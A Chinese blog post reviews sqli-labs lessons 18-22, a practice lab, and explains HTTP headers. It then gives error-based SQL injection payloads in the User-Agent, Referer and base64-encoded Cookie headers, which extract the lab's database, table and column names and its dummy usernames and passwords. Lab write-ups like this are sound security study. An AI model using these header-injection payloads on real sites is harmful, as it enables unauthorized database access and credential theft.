Sqli-labs 复习 Less18-22 HTTP 头注入 POST

最新推荐文章于 2022-07-18 09:24:50 发布
最新推荐文章于 2022-07-18 09:24:50 发布
阅读量548 收藏 4
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81592492
版权

之前学习了一遍 sqli-labs，这是巩固复习一遍，代码全部手敲，加深印象

Sqli-labs 博客目录

HTTP 头注入

HTTP 头部详解

  1. Accept

    告诉WEB 服务器自己接受什么介质类型，/ 表示任何类型，type/* 表示该类型下的所有子类型，type/sub-type。

  2. Accept-Charset

    浏览器申明自己接收的字符集

  3. Accept-Encoding

    浏览器申明自己接收的编码方法，通常指定压缩方法，是否支持压缩，支持什么压缩方法（gzip，deflate）

  4. Accept-Language

    览器申明自己接收的语言

    语言跟字符集的区别：中文是语言，中文有多种字符集，比如big5，gb2312，gbk 等等

  5. Accept-Ranges

    WEB 服务器表明自己是否接受获取其某个实体的一部分（比如文件的一部分）的请求。bytes：表示接受，none：表示不接受。

  6. Age

    当代理服务器用自己缓存的实体去响应请求时，用该头部表明该实体从产生到现在经过多长时间了

  7. Authorization

    当客户端接收到来自WEB 服务器的WWW-Authenticate 响应时，用该头部来回应自己的身份验证信息给WEB 服务器。

  8. Cache-Control

    请求：no-cache（不要缓存的实体，要求现在从WEB 服务器去取）

    1. max-age：（只接受Age 值小于max-age 值，并且没有过期的对象）
    2. max-stale：（可以接受过去的对象，但是过期时间必须小于max-stale 值）
    3. min-fresh：（接受其新鲜生命期大于其当前Age 跟min-fresh 值之和的缓存对象）
    4. 响应：public(可以用Cached 内容回应任何用户)
    5. private（只能用缓存内容回应先前请求该内容的那个用户）
    6. no-cache（可以缓存，但是只有在跟WEB 服务器验证了其有效后，才能返回给客户端）
    7. max-age：（本响应包含的对象的过期时间）
    8. ALL: no-store（不允许缓存）

  9. Connection：请求

    close（告诉WEB 服务器或者代理服务器，在完成本次请求的响应后，断开连接，不要等待本次连接的后续请求了）。

    1. keepalive（告诉WEB 服务器或者代理服务器，在完成本次请求的响应后，保持连接，等待本次连接的后续请求）。
    2. 响应：close（连接已经关闭）。
    3. keepalive（连接保持着，在等待本次连接的后续请求）。
    4. Keep-Alive：如果浏览器请求保持连接，则该头部表明希望WEB 服务器保持连接多长时间（秒）。例如：Keep-Alive：300

  10. Content-Encoding

    WEB 服务器表明自己使用了什么压缩方法（gzip，deflate）压缩响应中的对象。例如：Content-Encoding：gzip

  11. Content-Language

    WEB 服务器告诉浏览器自己响应的对象的语言。

  12. Content-Length

    WEB 服务器告诉浏览器自己响应的对象的长度。例如：Content-Length:26012

  13. Content-Range

    WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。
    例如：Content-Range: bytes 21010-47021/47022

  14. Content-Type

    WEB 服务器告诉浏览器自己响应的对象的类型。
    例如：Content-Type：application/xml

  15. ETag

    就是一个对象（比如URL）的标志值，就一个对象而言，比如一个 html 文件，如果被修改了，其 Etag 也会别修改，所以 ETag 的作用跟Last-Modified 的作用差不多，主要供WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时，获得了其 ETag，当这次又请求这个文件时，浏览器就会把先前获得的 ETag 值发送给 WEB 服务器，然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比，然后就知道这个文件有没有改变了。

  16. Expired

    WEB 服务器表明该实体将在什么时候过期，对于过期了的对象，只有在跟WEB 服务器验证了其有效性后，才能用来响应客户请求。是HTTP/1.0 的头部。
    例如：Expires：Sat, 23 May 2009 10:02:12 GMT

  17. Host

    客户端指定自己想访问的WEB 服务器的域名/IP 地址和端口号。
    例如：Host：rss.sina.com.cn

  18. If-Match

    如果对象的ETag 没有改变，其实也就意味著对象没有改变，才执行请求的动作。.

  19. If-None-Match

    如果对象的ETag 改变了，其实也就意味著对象也改变了，才执行请求的动作。

  20. If-Modified-Since

    如果请求的对象在该头部指定的时间之后修改了，才执行请求的动作（ 比如返回对象）， 否则返回代码304 ，告诉浏览器该对象没有修改。
    例如：If-Modified-Since：Thu, 10 Apr 2008 09:14:42 GMT

  21. If-Unmodified-Since

    如果请求的对象在该头部指定的时间之后没修改过，才执行请求的动作（比如返回对象）。

  22. If-Range

    浏览器告诉WEB 服务器，如果我请求的对象没有改变，就把我缺少的部分给我，如果对象改变了，就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给WEB 服务器，让其判断对象是否改变了。总是跟Range 头部一起使用。

  23. Last-Modified

    WEB 服务器认为对象的最后修改时间，比如文件的最后修改时间，动态页面的最后产生时间等等。例如：Last-Modified：Tue, 06 May 2008 02:42:43 GMT22、Location：WEB 服务器告诉浏览器，试图访问的对象已经被移到别的位置了，到该头部指定的位置去取。
    例如： Location ： http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif

  24. Pramga

    主要使用Pramga: no-cache，相当于Cache-Control： no-cache。
    例如：Pragma：no-cache

  25. Proxy-Authenticate

    代理服务器响应浏览器，要求其提供代理身份验证信息。

  26. Proxy-Authorization

    浏览器响应代理服务器的身份验证请求，提供自己的身份信息。

  27. Range

    浏览器（比如Flashget 多线程下载时）告诉WEB 服务器自己想取对象的哪部分。
    例如：Range: bytes=1173546-

  28. Referer

    浏览器向WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如：Referer：http://www.sina.com/

  29. Server

    WEB 服务器表明自己是什么软件及版本等信息。
    例如：Server：Apache/2.0.61(Unix)

  30. User-Agent

    浏览器表明自己的身份（是哪种浏览器）。
    例如：User-Agent：Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14

  31. Transfer-Encoding

    WEB 服务器表明自己对本响应消息体（不是消息体里面的对象）作了怎样的编码，比如是否分块（chunked）。例如：Transfer-Encoding: chunked

  32. Vary

    WEB 服务器用该头部的内容告诉Cache 服务器，在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB 服务器在接到第一个请求消息时，其响应消息的头部为：Content- Encoding: gzip; Vary: Content-Encoding 那么Cache 服务器会分析后续请求消息的头部，检查其Accept-Encoding，是否跟先前响应的Vary 头部值一致，即是否使用相同的内容编码方法，这样就可以防止Cache 服务器用自己Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如：Vary：Accept-Encoding

  33. Via

    列出从客户端到OCS 或者相反方向的响应经过了哪些代理服务器，他们用什么协议（和版本）发送的请求。当客户端请求到达第一个代理服务器时，该服务器会在自己发出的请求里面添加Via 头部，并填上自己的相关信息，当下一个代理服务器收到第一个代理服务器的请求时，会在自己发出的请求里面复制前一个代理服务器的请求的Via 头部，并把自己的相关信息加到后面，以此类推，当OCS 收到最后一个代理服务器的请求时，检查Via 头部，就知道该请求所经过的路由。例如：Via：1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)

  34. 推荐工具

    1. live http headers(firefox 插件)
    2. Tamper data(firefox 插件)

Less-18 User-Agent 域

  1. 测试

    在 username 输入 admin

    在 password 输入 admin

    使用 burpsuite 抓包

    将 http 头改为 User-Agent: aaaaaaa（任意）

  2. 猜数据库名

    User-Agent: ‘and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e)) and ‘1’=’1

    User-Agent: ‘and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e)),1,1)#

    结果为 security

  3. 猜表名

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)),1,1)#

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)) and ‘1’=’1

    结果为 emails,referers,uagents,users

  4. 猜列名

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e)),1,1)#

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e)) and ‘1’=’1

    结果为 id,username,password

  5. 猜数据

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(username) from security.users limit 0,1),0x7e)),1,1)#

    User-Agent: ‘or extractvalue(1,concat(0x7e,(select group_concat(password) from security.users limit 0,1),0x7e)) and ‘1’=’1

    结果为

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin

Less-19 Referer 域

  1. 测试

    在 username 输入 admin

    在 password 输入 admin

    使用 burpsuite 抓包

    将 http 头改为 Referer: aaaaaaa（任意）

  2. 猜数据库

    Referer: ‘and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e))and ‘1’=’1

    Referer: ‘and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e)),1)#

    结果为 security

  3. 猜表名

    Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)),1)#

    Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)) and ‘1’=’1

    结果为 emails,referers,uagents,users

  4. 猜列名

Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e)),1)#

Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e)) and ‘1’=’1

结果为 id,username,password

  1. 猜数据

Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(username) from security.users limit 0,1),0x7e)),1)#

Referer: ‘or extractvalue(1,concat(0x7e,(select group_concat(password) from security.users limit 0,1),0x7e)) and ‘1’=’1

结果为

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
    password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin

  1. 测试

    在 username 输入 admin

    在 password 输入 admin

    使用 burpsuite 抓包

    添加一行 cookie值：

    Cookie: uname=admin1’and extractvalue(1,concat(0x7e,(select version()),0x7e))#

  2. 猜数据库

    Cookie: uname=1’and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e))and ‘1’=’1

    Cookie: uname=1’and extractvalue(1,concat(0x7e,(select database()),0x7e))#

    结果为 security

  3. 猜表名

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e))#

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)) and ‘1’=’1

    结果为 emails,referers,uagents,users

  4. 猜列名

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e))#

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),0x7e)) and ‘1’=’1

    结果为 id,username,password

  5. 猜数据

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(username) from security.users limit 0,1),0x7e))#

    Cookie: uname=1’or extractvalue(1,concat(0x7e,(select group_concat(password) from security.users limit 0,1),0x7e)) and ‘1’=’1

    结果为

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin

  1. 测试

    在 username 输入 admin

    在 password 输入 admin

    使用 burpsuite 抓包

    添加一行 cookie值：

    Cookie: uname=1’and extractvalue(1,concat(0x7e,(select version()),0x7e))and ‘1’=’1

    将 name 值进行 bas64 编码

    Cookie: uname=MSdhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB2ZXJzaW9uKCkpLDB4N2UpKWFuZCAnMSc9JzE=

  2. 猜数据库

    Cookie: uname=1’and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e))and ‘1’=’1

    Cookie: uname=MSdhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpIGxpbWl0IDEsMSksMHg3ZSkpYW5kICcxJz0nMQ==

    结果为 security

  1. 测试

    在 username 输入 admin

    在 password 输入 admin

    使用 burpsuite 抓包

    添加一行 cookie值：

    Cookie: uname=1”and extractvalue(1,concat(0x7e,(select version()),0x7e))and “1”=”1

    将 name 值进行 bas64 编码

    Cookie: uname=MSJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB2ZXJzaW9uKCkpLDB4N2UpKWFuZCAiMSI9IjE=

  2. 猜数据库

    Cookie: uname=1”and extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e))and “1”=”1

    Cookie: uname=MSJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpIGxpbWl0IDEsMSksMHg3ZSkpYW5kICIxIj0iMQ==

    结果为 security

网络安全打工人
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Sqlilabs Less-18
Light_inthe_eyes的博客
03-07 4488
进入页面后，页面有提醒IP ADDRESS，如果对http比较熟悉的话，可以联想到http中的referer、XFF、useragent，在注入中，也可以叫异常Method注入。 用burpsuite抓包，查看请求头中的信息，发现回显了user-agent的信息，猜测此题的注入点在user-agent在user-agent中加入单引号，证实注入点位置的猜测： User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/201001
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
SQLi LABS Less-18 报错注入
热门推荐
wangyuxiang946的博客
06-22 1万+
第十八关请求方式为 GET请求 , 注入点为User-Agent , 注入方式为 错误注入 第一步,判断注入方式 先看源码 后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式 登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入 真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库 使用 Burp...
sqli-labs(less-18)
不知名白帽的博客
07-18 812
sqli-labs(less-18)。less-18(UA注入)
【sqli-labs】Less18~Less22
weixin_33976072的博客
08-16 145
Less18: User-Agent注入，有错误回显 感叹一句，越来越难了。现在只能先看代码再分析怎么注入了..... 通过代码，发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。 用户名密码就假设已知为admin/admin了。 还是用updatexml函数，用Burp Suite更改user-agent字段为：...
sqli-labs (less-18)
kukudeshuo的博客
03-11 931
sqli-labs (less-18) 进入18关，输入用户名和密码以后，我们发现屏幕上回显了我们的IP地址和我们的User Agent 用hackbar抓取POST包，在用户名和密码的位置判断注入点，这里我试了很久，发现用户名和密码的位置都是没有注入点的，那是不是代表这关不存在SQL注入漏洞呢，我们注意到一个特点，页面回显了我们的User Agent，所以我们猜想可能注入点在User Agent这里 想抓取到User Agent，可以利用火狐插件或者使用burpsuite抓包，这里演示利用burpsui
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
jeakinscheung-sqli-labs-php7-master.zip
03-16
标题 "jeakinscheung-sqli-labs-php7-master.zip" 暗示这是一个关于SQL注入（SQL Injection）练习平台的源代码库，专为PHP7优化。在描述中提到，用户在尝试创建数据库连接时遇到问题，可能是因为原始的SQL注入实验室...
sqli-labs less18
qq_45106794的博客
10-24 398
sqli-labs less 18 reader-l ‘or updatexml(1,concat(’#’,(select user()),1),1) 先用这句话简单的判断后台insert 语句 insert="INSERTINTOsecurity.uagents(uagent,ipaddress,username)VALUES(′insert="INSERT INTO security.uage...
sqli-labs：18-22，http头部注入
weixin_30770783的博客
03-24 193
sqli18： uname和passwd被处理了； uagent和ip插入到了数据库； 还带回显。 抓包改包 sqli19： null sqli20： 审计代码，大概如下 当我们正常登录后username赋值给cookie['cookee']；当submit为空...
【SQL注入-12】http头部注入案例—基于Sqli-labs靶机（借助BurpSuite工具）
m0_64378913的博客
05-06 2396
目录1 概述1.1 User-Agent概述1.2 Referer 概述2 实验平台及实验目标2.1 实验平台2.2 实验目标3 User-Agent注入案例—以sqli-labs-Less18为例3.1 注入前准备3.2 判断注入点及注入类型3.3 获取库名表名字段名字段内容3.4 实验结果4 Referer注入案例—以sqli-labs的Less19为例4.1 注入前准备4.2 判断注入点及注入类型4.3 获取库名表名字段名字段内容4.4 实验结果5 总结 本博客内容仅供学习探讨，请勿滥用
sqli-labs 18 基于http头中的参数注入
devilare的博客
01-18 268
sqli-labs-master/Less-18 来到18关，跟前几关唯一的不同点就是多出一行提示 尝试admin登录查看源码发现 $uagent = $_SERVER[‘HTTP_USER_AGENT’]; $IP = SERVER[′REMOTEADDR′];echo"<br>";echo′YourIPADDRESSis:′._SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .S​ERVER[′R
sqli-labs Less18 原理到实现详解
m0_60829468的博客
10-29 731
系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 例如：第一章 Python 机器学习入门之pandas的使用 提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 系列文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前期知识储备 从18关开始考察的是头部注入（Header Injection - Uagent field - Error based），这里简述头部注入的点。
Sqli-labs之Less-18和Less-19
m0_46315342的博客
06-04 666
                                          &nbs...
sqli-labs练习（十八、十九、二十、二十一）
wkend的博客
10-14 1061
按照正常思路，先是对username和password输入框进行测试，并没有找到注入点，页面上显示的ip地址也很奇怪，最会无奈查看了源代码，才发现了突破口。 发现后台对uname和passwd有检查过滤函数check_input 于是跟进check_input函数，发现对输入的参数进行了长度限制，纯数字过滤，特殊符号过滤 到现在我们就可以看出，在uname和passwd出已经无法入手，，，，...
Sqli-labs Less18-22 HTTP 头注入 POST
kevinhanser
08-09 931
本文记录 SQL 注入的学习过程，资料为 SQLi SQLi 博客目录 Less - 18: POSt - Header injection- Uagent field - Error vased 测试漏洞 源代码 $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); ...
sqli-labs(18)
weixin_30498921的博客
05-26 245
开始挑战第十八关（Header Injection - Uagent field - Error based） 常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】； (1)HTTP Referer是header的一部分，当浏览器向web服务...
sqli-labs-less1
最新发布
05-26
sqli-labs-less1是一个SQL注入练习平台，它主要用于学习和测试SQL注入攻击技术。sqli-labs-less1是一个非常基础的例子，旨在演示如何使用SQL注入攻击来绕过登录认证。它提供了一个登录页面，其中包含用户名和密码...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值